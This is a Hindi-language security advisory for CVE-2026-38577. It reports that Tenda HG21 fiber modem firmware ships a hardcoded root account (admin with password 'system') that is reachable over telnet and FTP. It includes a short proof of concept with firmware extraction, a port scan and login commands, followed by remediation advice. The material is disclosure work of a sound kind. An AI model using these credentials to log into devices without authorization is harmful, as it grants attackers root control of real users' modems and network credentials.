CVE-2026-38577 — टेंडा HG21 हार्डकोडेड रूट क्रेडेंशियल्स

सारांश

विवरण

टेंडा HG21 XPON फाइबर मॉडेम के फर्मवेयर विश्लेषण से शिप किए गए फर्मवेयर इमेज में बेक किया गया एक हार्डकोडेड प्रशासनिक खाता उजागर हुआ। इस खाते को पूर्ण रूट विशेषाधिकार (UID 0) प्रदान किए गए हैं और इसके क्रेडेंशियल्स सभी डिवाइसों पर स्थिर हैं, जिसका अर्थ है कि कोई भी हमलावर जो किसी कमजोर यूनिट पर उजागर प्रबंधन सेवा तक पहुँच सकता है, ग्राहक-सेट वेब-UI पासवर्ड जाने बिना रूट के रूप में प्रमाणित हो सकता है।

यह कहाँ पाया गया

• निकाले गए फर्मवेयर में /etc/passwd एक admin प्रविष्टि के साथ आता है जिसमें SHA256crypt पासवर्ड हैश है जो स्थिर मान system में हल होता है।
• खाते का UID 0 है — अर्थात, यह वास्तव में रूट है, कोई प्रतिबंधित सेवा खाता नहीं।
• कोई /etc/shadow मौजूद नहीं है, इसलिए passwd में कमजोर/स्थिर हैश ही खाते की सुरक्षा करने वाला एकमात्र द्वार है।
• /etc/inetd.conf telnetd और ftpd शुरू करता है, दोनों रूट के रूप में स्पॉन होते हैं, इसलिए हार्डकोडेड खाता नेटवर्क पर पहुँच योग्य है, न कि केवल सीरियल/UART कंसोल पर।
• वेब प्रबंधन इंटरफ़ेस केवल सादे HTTP पर परोसा जाता है (कोई TLS नहीं), जो एक द्वितीयक हार्डनिंग अंतराल है लेकिन स्वयं CVE नहीं है।

प्रभाव

किसी कमजोर डिवाइस की टेलनेट (TCP/23) या FTP (TCP/21) सेवा तक नेटवर्क पहुँच रखने वाला हमलावर स्थिर पासवर्ड का उपयोग करके admin के रूप में लॉग इन कर सकता है और रूट शेल / रूट-स्तरीय फ़ाइल पहुँच प्राप्त कर सकता है। यह कम से कम निम्नलिखित की अनुमति देता है:

• कोड निष्पादन — टेलनेट के माध्यम से रूट शेल।
• विशेषाधिकार वृद्धि — कोई विशेषाधिकार सीमा मौजूद नहीं है; खाता रूट से शुरू होता है।
• सूचना प्रकटीकरण — पूर्ण फाइलसिस्टम/कॉन्फ़िगरेशन पहुँच, जिसमें डिवाइस पर संग्रहीत कोई भी ग्राहक नेटवर्क क्रेडेंशियल्स शामिल हैं।

मूल सबमिशन से CVSS वेक्टर (प्रकाशित होने पर विक्रेता स्कोरिंग भिन्न हो सकती है):

• हमला वेक्टर: नेटवर्क
• आवश्यक विशेषाधिकार: कोई नहीं (क्रेडेंशियल्स हार्डकोडेड/ज्ञात हैं)
• उपयोगकर्ता सहभागिता: कोई नहीं
• गोपनीयता / अखंडता / उपलब्धता: उच्च / उच्च / उच्च

प्रूफ ऑफ कॉन्सेप्ट

यह एक क्रेडेंशियल-आधारित PoC है — यह प्रदर्शित करता है कि हार्डकोडेड खाता प्रमाणित होता है और रूट प्रदान करता है, कोई मेमोरी-भ्रष्टाचार शोषण नहीं। इसे केवल उस डिवाइस पर चलाएँ जिसके आप मालिक हैं या जिसका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।

1. पुष्टि करें कि क्रेडेंशियल फर्मवेयर में मौजूद है

# फर्मवेयर निकालें (binwalk या आपकी पसंद का विक्रेता टूल)
binwalk -e US_HG21re_300002982_en_xpon_2.bin

# passwd फ़ाइल का पता लगाएँ और निरीक्षण करें
find . -name passwd
cat squashfs-root/etc/passwd
# -> admin:<sha256crypt-hash-of-"system">:0:0:root:/root:/bin/sh

2. पुष्टि करें कि सेवा पहुँच योग्य है

nmap -p 21,23 <target-ip>

3. हार्डकोडेड खाते से प्रमाणित करें

telnet <target-ip>
# login: admin
# password: system

ftp <target-ip>
# Name: admin
# Password: system

किसी भी सेवा पर सफल लॉगिन रूट-विशेषाधिकार वाला शेल/FTP सत्र लौटाता है (id uid=0(root) रिपोर्ट करेगा)।

उपचार

• विक्रेता को हार्डकोडेड admin/system खाते को पूरी तरह से हटा देना चाहिए, या कम से कम पहले बूट पर सेट किया गया अद्वितीय, प्रति-डिवाइस यादृच्छिक पासवर्ड अनिवार्य करना चाहिए (केवल सीरियल नंबर से व्युत्पन्न नहीं)।
• telnetd/ftpd को डिफ़ॉल्ट रूप से अक्षम करें; दूरस्थ प्रशासन के लिए स्पष्ट ऑप्ट-इन और प्रमाणित, एन्क्रिप्टेड चैनल (SSH/SFTP) की आवश्यकता हो।
• प्रबंधन UI को केवल HTTPS पर परोसें।
• पहले से तैनात किसी भी यूनिट में अनिवार्य फर्मवेयर अपडेट के माध्यम से स्थिर क्रेडेंशियल को घुमाएँ, और अपडेट पर पासवर्ड रीसेट अनिवार्य करें।

समयरेखा

श्रेय

निम्न द्वारा खोजा और रिपोर्ट किया गया:

• अनमोल सिंह राजपूत — LinkedIn
• दीपक जी — LinkedIn

संदर्भ

• https://www.tenda.com.cn
• https://cwe.mitre.org/data/definitions/798.html